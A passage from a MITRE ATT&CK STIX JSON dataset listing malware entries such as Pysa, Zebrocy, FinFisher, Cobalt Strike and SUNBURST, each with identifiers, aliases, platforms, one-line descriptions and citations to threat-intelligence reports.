2022.","url":"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack"},{"source_name":"Symantec Ukraine Wipers February 2022","description":"Symantec Threat Hunter Team. (2022, February 24). Ukraine: Disk-wiping Attacks Precede Russian Invasion. Retrieved March 25, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"},{"source_name":"Crowdstrike DriveSlayer February 2022","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["ABK"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c","type":"malware","created":"2020-06-10T16:58:56.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0469","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0469"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T15:34:14.618Z","name":"ABK","description":"[ABK](https://attack.mitre.org/software/S0469) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["Pysa","Mespinoza"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","type":"malware","created":"2021-03-01T19:44:27.287Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0583","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0583"},{"source_name":"Pysa","description":"(Citation: CERT-FR PYSA April 2020)(Citation: DFIR Pysa Nov 2020)(Citation: NHS Digital Pysa Oct 2020)"},{"source_name":"Mespinoza","description":"(Citation: CERT-FR PYSA April 2020)(Citation: DFIR Pysa Nov 2020)(Citation: NHS Digital Pysa Oct 2020)"},{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."},{"source_name":"DFIR Pysa Nov 2020","url":"https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/","description":"THe DFIR Report. (2020, November 23). PYSA/Mespinoza Ransomware. Retrieved March 17, 2021."},{"source_name":"NHS Digital Pysa Oct 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3633","description":"NHS Digital. (2020, October 10). Pysa Ransomware: Another 'big-game hunter' ransomware. Retrieved March 17, 2021."}],"modified":"2021-04-27T20:19:31.430Z","name":"Pysa","description":"[Pysa](https://attack.mitre.org/software/S0583) is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.(Citation: CERT-FR PYSA April 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085","type":"malware","created":"2017-05-31T21:32:32.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0041","external_id":"S0041"},{"source_name":"Dell Wiper","description":"Dell SecureWorks. (2013, March 21). Wiper Malware Analysis Attacking Korean Financial Sector. Retrieved May 13, 2015.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/"}],"modified":"2018-10-17T00:14:20.652Z","name":"Wiper","description":"[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Final1stspy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71","type":"malware","created":"2019-01-31T00:23:06.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0355","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0355"},{"source_name":"Final1stspy","description":"(Citation: Unit 42 Nokki Oct 2018)"},{"description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","source_name":"Unit 42 Nokki Oct 2018"}],"modified":"2020-03-30T16:41:11.166Z","name":"Final1stspy","description":"[Final1stspy](https://attack.mitre.org/software/S0355) is a dropper family that has been used to deliver [DOGCALL](https://attack.mitre.org/software/S0213).(Citation: Unit 42 Nokki Oct 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-10T14:34:23.655Z","name":"MgBot","description":"[MgBot](https://attack.mitre.org/software/S1146) is a modular malware framework exclusively associated with [Daggerfly](https://attack.mitre.org/groups/G1034) operations since at least 2012. [MgBot](https://attack.mitre.org/software/S1146) was developed in C++ and features a module design with multiple available plugins that have been under active development through 2024.(Citation: Szappanos MgBot 2014)(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2024)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["MgBot"],"type":"malware","id":"malware--a36eedea-9523-4abb-96e8-205f171ee763","created":"2024-07-25T18:16:57.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1146","external_id":"S1146"},{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"},{"source_name":"Szappanos MgBot 2014","description":"Gabor Szappanos. (2014, February 3). Needle in a haystack. Retrieved July 25, 2024.","url":"https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack"},{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-10T19:47:44.529Z","name":"ccf32","description":"[ccf32](https://attack.mitre.org/software/S1043) is data collection malware that has been used since at least February 2019, most notably during the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign; there is also a similar x64 version.(Citation: Bitdefender FunnyDream Campaign November 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["ccf32"],"type":"malware","id":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","created":"2022-09-22T20:11:10.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1043","external_id":"S1043"},{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Emily Ratliff, IBM"],"x_mitre_aliases":["Zebrocy","Zekapab"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0251","url":"https://attack.mitre.org/software/S0251","source_name":"mitre-attack"},{"source_name":"Zebrocy","description":"(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)"},{"source_name":"Zekapab","description":"(Citation: CyberScoop APT28 Nov 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"},{"source_name":"Unit42 Sofacy Dec 2018","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019."},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."},{"description":"Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019.","url":"https://www.cyberscoop.com/apt28-brexit-phishing-accenture/","source_name":"CyberScoop APT28 Nov 2018"},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."}],"modified":"2021-04-23T19:45:36.003Z","name":"Zebrocy","description":"[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020) ","x_mitre_version":"3.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Pandora"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","created":"2021-11-29T19:53:06.360Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0664","url":"https://attack.mitre.org/software/S0664"},{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pandora](https://attack.mitre.org/software/S0664) is a multistage kernel rootkit with backdoor functionality that has been in use by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-15T14:17:18.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Pandora","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T17:23:46.687Z","name":"FinFisher","description":"[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)","x_mitre_platforms":["Windows","Android"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["FinFisher","FinSpy"],"type":"malware","id":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0182","external_id":"S0182"},{"source_name":"FinFisher","description":"(Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)"},{"source_name":"FinSpy","description":"(Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)"},{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"Microsoft SIR Vol 21","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"},{"source_name":"FireEye FinSpy Sept 2017","description":"Jiang, G., et al. (2017, September 12). FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY. Retrieved February 15, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html"},{"source_name":"Securelist BlackOasis Oct 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.","url":"https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:02:59.341Z","name":"SpeakUp","description":"[SpeakUp](https://attack.mitre.org/software/S0374) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)","x_mitre_platforms":["Linux","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["SpeakUp"],"type":"malware","id":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","created":"2019-04-17T18:43:36.156Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0374","external_id":"S0374"},{"source_name":"CheckPoint SpeakUp Feb 2019","description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-16T14:42:54.472Z","name":"LunarMail","description":"[LunarMail](https://attack.mitre.org/software/S1142) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) in conjunction with [LunarLoader](https://attack.mitre.org/software/S1143) and [LunarWeb](https://attack.mitre.org/software/S1141). [LunarMail](https://attack.mitre.org/software/S1142) is designed to be deployed on workstations and can use email messages and [Steganography](https://attack.mitre.org/techniques/T1001/002) in command and control.(Citation: ESET Turla Lunar toolset May 2024)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Riku Katsuse, NEC Corporation","Sareena Karapoola, NEC Corporation India","Pooja Natarajan, NEC Corporation India"],"x_mitre_aliases":["LunarMail"],"type":"malware","id":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","created":"2024-06-26T20:21:21.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1142","external_id":"S1142"},{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-29T14:53:25.984Z","name":"WARPWIRE","description":"[WARPWIRE](https://attack.mitre.org/software/S1116) is a Javascript credential stealer that targets plaintext passwords and usernames for exfiltration that was used during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to target Ivanti Connect Secure VPNs.(Citation: Mandiant Cutting Edge January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["WARPWIRE"],"type":"malware","id":"malware--a5818d36-e9b0-46da-842d-b727a5e36ea6","created":"2024-03-05T19:32:16.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1116","external_id":"S1116"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-28T21:03:22.526Z","name":"CrossRAT","description":"[CrossRAT](https://attack.mitre.org/software/S0235) is a cross platform RAT.","x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["CrossRAT"],"type":"malware","id":"malware--a5e91d50-24fa-44ec-9894-39a88f658cea","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0235","external_id":"S0235"},{"source_name":"CrossRAT","description":"(Citation: Lookout Dark Caracal Jan 2018)"},{"source_name":"Lookout Dark Caracal Jan 2018","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["OwaAuth"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5","type":"malware","created":"2017-05-31T21:32:47.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0072","external_id":"S0072"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2021-06-17T19:03:17.306Z","name":"OwaAuth","description":"[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). (Citation: Dell TG-3390)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Cadelspy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a705b085-1eae-455e-8f4d-842483d814eb","type":"malware","created":"2020-05-22T20:07:15.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0454","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0454"},{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2020-05-29T13:13:22.064Z","name":"Cadelspy","description":"[Cadelspy](https://attack.mitre.org/software/S0454) is a backdoor that has been used by [APT39](https://attack.mitre.org/groups/G0087).(Citation: Symantec Chafer Dec 2015)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:32:57.099Z","name":"Cobalt Strike","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: cobaltstrike manual)","x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.13","x_mitre_contributors":["Martin Sohn Christensen, Improsec","Josh Abraham"],"x_mitre_aliases":["Cobalt Strike"],"type":"malware","id":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0154","external_id":"S0154"},{"source_name":"cobaltstrike manual","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-12-26T19:44:49.643Z","name":"SUNBURST","description":"[SUNBURST](https://attack.mitre.org/software/S0559) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.5","x_mitre_contributors":["Daniyal Naeem, BT Security","Matt Brenton, Zurich Insurance Group"],"x_mitre_aliases":["SUNBURST","Solorigate"],"type":"malware","id":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","created":"2021-01-05T22:42:05.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0559","external_id":"S0559"},{"source_name":"SUNBURST","description":"(Citation: FireEye SUNBURST Backdoor December 2020)"},{"source_name":"Solorigate","description":"(Citation: Microsoft Deep Dive Solorigate January 2021)"},{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"},{"source_name":"SolarWinds Sunburst Sunspot Update January 2021","description":"Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021.","url":"https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-05T18:21:34.265Z","name":"EvilBunny","description":"[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 